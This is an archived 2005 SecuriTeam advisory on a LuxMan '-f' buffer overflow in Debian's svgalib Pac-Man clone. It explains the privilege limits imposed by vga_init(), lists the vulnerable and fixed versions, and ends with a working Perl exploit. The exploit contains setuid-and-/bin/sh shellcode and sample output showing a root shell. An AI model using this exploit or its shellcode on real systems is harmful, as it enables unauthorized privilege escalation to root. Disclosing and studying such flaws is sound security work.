

[UNIX] LuxMan '-f' Option Buffer Overflow

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2005-03/0084.html>

From: SecuriTeam (support_at_securiteam.com)

Date: 03/17/05

To: list@securiteam.com

Date: 17 Mar 2005 18:59:07 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.

<http://www.securiteam.com/maillinglist.html>

LuxMan '-f' Option Buffer Overflow

SUMMARY

<<http://packages.debian.org/stable/games/luxman.html>> LuxMan is "a Pac-Man clone for SVGALIB. It includes color, sound, several different levels, and difficulty settings".

By providing an overly long argument to LuxMan's '-f' option a fixed buffer will be overflowed and if the program has been set to be setuid you can leverage this to gain elevated privileges.

DETAILS

Vulnerable Systems:

- * LuxMan Debian stable 0.41-17.1 and prior
- * LuxMan Debian unstable 0.41-19 and prior

Immune Systems:

- * LuxMan Debian stable 0.41-17.2
- * LuxMan Debian unstable 0.41-20

LuxMan, like all other programs which use "svgalib", runs setuid-root. This means that it can perform any action in your system in using the root user power.

Securiteam: [UNIX] LuxMan '-f' Option Buffer Overflow

The very first thing the program does (after printing a copyright notice) is to call `vga_init()`. "`vga_init()`" is an `svgalib` routine which initializes the VGA card and gives up root privileges.

LuxMan never attempts to regain root privileges after this point.

The author did a good job at limiting the impact of this bug. By making a call to `vga_init()` this bug is pretty much curbed. `vga_init()` detects the chip-set and give up supervisor rights immediately.

If attackers wish to exploit this bug they only have two options... Hope that the machine is running an old school version of `svgalib` or to look for 'security compat' in the configuration file. If the attackers have neither of these they are pretty much have to find some other technique for bypassing `vga_init()`.

`Svgalib` versions prior to 1.2.11 had a security hole where it would be possible to regain root privileges even after a `vga_init()` call. Some programs may (accidentally) rely on the old `vga_init` behavior (which was probably due to the author not knowing about saved uids (which might actually even not have existed in Linux at that time)). Because of this `svgalib` includes the option to revert back to the old behavior. Placing 'security compat' in `/etc/vga/libvga.conf` or on debian `/etc/vga/libvga.config` will reinstate the old behavior.

Vendor Status:

The vendor has fixed the problem:

<http://www.debian.org/security/2005/dsa-693>

<http://www.debian.org/security/2005/dsa-693>

Exploit:

```
#!/usr/bin/perl -w
#
# luxman exploit
#
# ii luxman 0.41-19.1 Pac-Man clone (svgalib based)
#
# Tested with "security compat" set in /etc/vga/libvga.config on debian
unstable 3.1
#
# kfinisterre@jdam:~$ ./luxman_ex.pl
# LuxMan v0.41, Copyright (c) 1995 Frank McIngvale
# LuxMan comes with ABSOLUTELY NO WARRANTY; see COPYING for details.
#
# You must be the owner of the current console to use svgalib.
# Not running in a graphics capable console,
# and unable to find one.
# Using SIS driver, 2048KB. Chiptype=8
# svgalib 1.4.3
# You must be the owner of the current console to use svgalib.
# Not running in a graphics capable console,
```

Securiteam: [UNIX] LuxMan '-f' Option Buffer Overflow

```
# and unable to find one.
# svgalib: Failed to initialize mouse.
#
# The frame rate is now set to 1 frames per second.
# If the game seems too fast, too slow, or too jerky,
# you can adjust this value the '-r' option.
#
# Calibrating delay...-664257
# Sound server started [pid:7082]
# sh-2.05b# id
# uid=0(root) gid=1000(kfinisterre) groups=1000(kfinisterre)
#

($offset) = @ARGV,$offset || ($offset = 0);

$sc = "\x90"x512;
$sc .= "\x31\xd2\x31\xc9\x31\xdb\x31\xc0\xb0\xa4\xcd\x80";
$sc .= "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b";
$sc .= "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd";
$sc .= "\x80\xe8\xdc\xff\xff\xff/bin/sh";

$ENV{"FOO"} = $sc;

$buf = "A" x 8732;
$buf .= (pack("l", (0xbfffffff-512+$offset)) x2);

#exec("strace -u kfinisterre /usr/games/luxman -r 1 -f $buf");
exec("/usr/games/luxman -r 1 -f $buf");
```

EOF

ADDITIONAL INFORMATION

The information has been provided by <mailto:kf@digitalmunition.com>
Kevin Finisterre.

The original article can be found at:

<<http://www.digitalmunition.com/DMA%5B2005-0310a%5D.txt>>

<http://www.digitalmunition.com/DMA%5B2005-0310a%5D.txt>

=====

This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:

list-unsubscribe@securiteam.com

In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

=====

=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.

Securiteam: [UNIX] LuxMan '-f' Option Buffer Overflow

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.